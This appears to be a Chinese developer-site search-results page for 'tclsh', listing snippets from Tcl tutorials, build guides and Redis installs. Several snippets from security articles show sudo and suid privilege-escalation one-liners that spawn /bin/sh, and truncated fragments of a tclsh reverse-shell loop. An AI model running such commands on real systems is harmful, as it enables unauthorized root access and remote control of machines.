首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏ICSOC.TECH

    增强tclsh的行编辑功能

    如果想写两句 tcl 代码做个测试,当然可以新建一个脚本文件,不过比较懒的做法就是打开 tclsh 直接输入想要测试的代码。 然而 tclsh 的自带的行编辑功能实在太差了: 光标不能随意移动。。。 /configure --prefix=$HOME/app 更改 tclsh 的启动方式 用 rlwrap 来启动 tclsh 的基本命令如下。 rlwrap -c tclsh 这样启动的 tclsh 就具有基本的行编辑功能了。 rlwrap 的 filters 功能 rlwrap 还支持多词关键字补全。需要先准备一个filter文件(如 . /tclsh_filter),里面用特定的格式列出 tclsh 的关键字。然后用下面的方式启动。 rlwrap -z . /tclsh_filter tclsh 这样启动的 tclsh 就具备比较高级的关键字自动补全功能了。

    95830发布于 2020-07-06
  • 来自专栏python3

    centos5.3下安装hping3的方

    . ===> Found Tclsh in: /usr/bin/tclsh8.4 ==> WARNING: no Tcl header files found! local/man USE_TCL      : TCL_VER      : 8.4 TCL_INC      : LIBTCL       : -ltcl8.4 -lm -lpthread TCLSH         : /usr/bin/tclsh8.4 (to modify try configure --help) ------------------------------------

    74210发布于 2020-01-08
  • 来自专栏pangguoming

    Ubuntu 安装 Redis

    update-alternatives: using /usr/bin/tclsh8.5 to provide /usr/bin/tclsh (tclsh) in auto mode.   update-alternatives: using /usr/bin/tclsh-default to provide /usr/bin/tclsh (tclsh) in auto mode.  

    1.6K80发布于 2018-03-07
  • 来自专栏全栈技术

    【100 种语言速成】第 6 节:Tcl/Tk

    /usr/local/opt/tcl-tk/bin/tclsh puts "Hello, world!" 我是不是不小心放成了 Ruby 代码?不,绝对没有。#! /usr/local/opt/tcl-tk/bin/tclsh set who "world" puts "Hello, $who!" 变量都是字符串。内插双引号字符串。 /usr/local/opt/tcl-tk/bin/tclsh set x 2 set y "4" set z [expr $x+$y] puts [string toupper Hello] puts /usr/local/opt/tcl-tk/bin/tclsh proc fib n { if { $n <= 2 } { return 1 } else { return [ -command { exit } pack .hello 这是它的样子: 请注意可执行文件从 更改tclsh为wish。 这与浏览器的工作方式非常不同。

    3.1K40编辑于 2022-05-18
  • 来自专栏公众号:Lucifer三思而后行

    【LFS 系列】从零开始 DIY Linux 系统:(五)构建临时系统 - Tcl-8.6.3

    make install-private-headers 现在创建几个必要的软链接: ln -sv tclsh8.6 /tools/bin/tclsh 安装完成后清理工作: cd ../.. rm -rf

    68610发布于 2021-09-26
  • 来自专栏白安全组

    Linux下提权(基于靶场)

    import os; os.execl("/bin/sh","sh","-c","reset; exec sh")' perl 环境 sudo perl -e 'exec "/bin/sh";' tclsh 脚本语言 sudo tclsh exec /bin/sh <@stdin > @stdout 2>@stderr git 提权 开源封闭的程序管理系统 sudo git -p help config

    4.9K40编辑于 2023-02-25
  • 来自专栏twowinter

    Redis 学习笔记 2.2 启动和停止 redis

    easy_install redis-benchmark ssserver cavm_live_upgrade.sh easy_install-3.5 redis-check-aof tclsh8.6

    1.4K20发布于 2020-04-17
  • 来自专栏公众号:Lucifer三思而后行

    Linux From Scratch(LFS11.0)构建 LFS 系统 - Tcl-8.6.11

    make install-private-headers 创建一个必要的符号链接: ln -sfv tclsh8.6 /usr/bin/tclsh 最后,重命名一个与 Perl man 页面文件名冲突的

    1.1K20发布于 2021-10-08
  • 来自专栏python3

    python调用tcl

    usr/bin/tclsh proc Factorial {n} {     if {$n<=1} {             return 1 }     return [expr $n*[Factorial

    2.5K20发布于 2020-01-06
  • 来自专栏玉龙小栈

    【网络自动化】使用TCL实现自动化配置

    cat命令输出文档内容来进行检查) 需要先解决连通性问题,在交换机上执行以下命令,让交换机可以获取到和tftp服务器同网段的地址 出现如下日志的时候说明交换机已经获取到了地址 在交换机上执行命令:tclsh

    99910编辑于 2022-01-13
  • 来自专栏山海散人技术

    centos安装git上遇到的问题

    GITGUI_VERSION = 0.19.0.2.g3decb8e   * new locations or Tcl/Tk interpreter   GEN git-gui   INDEX lib/   * tclsh

    1K10发布于 2021-03-03
  • 来自专栏Golang语言社区

    转--一个Go推送服务器集群:gopush-cluster

    init.d/redis-server $ /etc/init.d/redis-server /etc/redis/redis.conf 如果如下报错,则安装tcl8.5(参考附资料2) which: no tclsh8.5 3.3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/geffzhang/bin) You need 'tclsh8.5

    1.8K100发布于 2018-03-21
  • 来自专栏张善友的专栏

    CentOS 6上的redis搭建实战记录

    make test cd src && make test make[1]: Entering directory `/usr/local/src/redis-stable/src' which: no tclsh8.5 3.3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/geffzhang/bin) You need 'tclsh8.5

    1.3K100发布于 2018-01-22
  • 来自专栏摸鱼范式

    《数字集成电路静态时序分析基础》笔记①

    /user/bin/tclsh" window:安装active tcl并双击wish.exe 置换 TCL置换分为三种,变量置换, 变量置换 用表示变量置换,后为变量名,将变量置换为它的值 ?

    1.2K31发布于 2020-06-24
  • 来自专栏xiaoxi666的专栏

    Win10编译SqlCipher步骤

    ActivePerl,用于编译OpenSSL Mingw,在官网下载minimum installer安装即可 nasm,汇编代码运行环境,官网下载安装即可 ActiveState ActiveTcl,需要用到tclsh

    4.6K30发布于 2018-10-29
  • 来自专栏FreeBuf

    安全研究 | CentOS 7系统利用suid提权获取Root Shell

    38、tclsh 输入下面的命令进行提权: tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr ? 提权成功,得到了root shell。

    4.1K31发布于 2020-08-07
  • 来自专栏Urahara Blog

    Some Linux Hacking Tricks

    [catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh # tcp # Use Socat $ socat

    67820发布于 2019-12-11
  • 来自专栏逢魔安全实验室

    Some Linux Hacking Tricks

    [catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh # tcp 17 18# Use Socat

    1K50发布于 2018-05-15
  • 来自专栏七夜安全博客

    不一样的 "反弹Shell" 系统剖析

    比较典型的是awk和tclsh。 [catch {set r [eval s r }; flush s; }; close s;' | tclsh ? (2) 网络是短连接,命令执行是长shell模式 ?

    3.9K40发布于 2020-06-16
  • 来自专栏勤奋的思远

    24种编程语言的Hello World程序

    TCL 环境:Linux 或带有 WinGW 的 Windows 平台 代码: #命令行交互方式  D:\>tclsh   % puts "Hello,World!"   D:\>tclsh HelloWorld.tcl   Hello,World!   说明: 1. 文件名后缀 .tcl 编译器为 tclsh(命令方式显示)或 wish(GUI方式显示)。 2.

    2.9K52发布于 2021-02-23
领券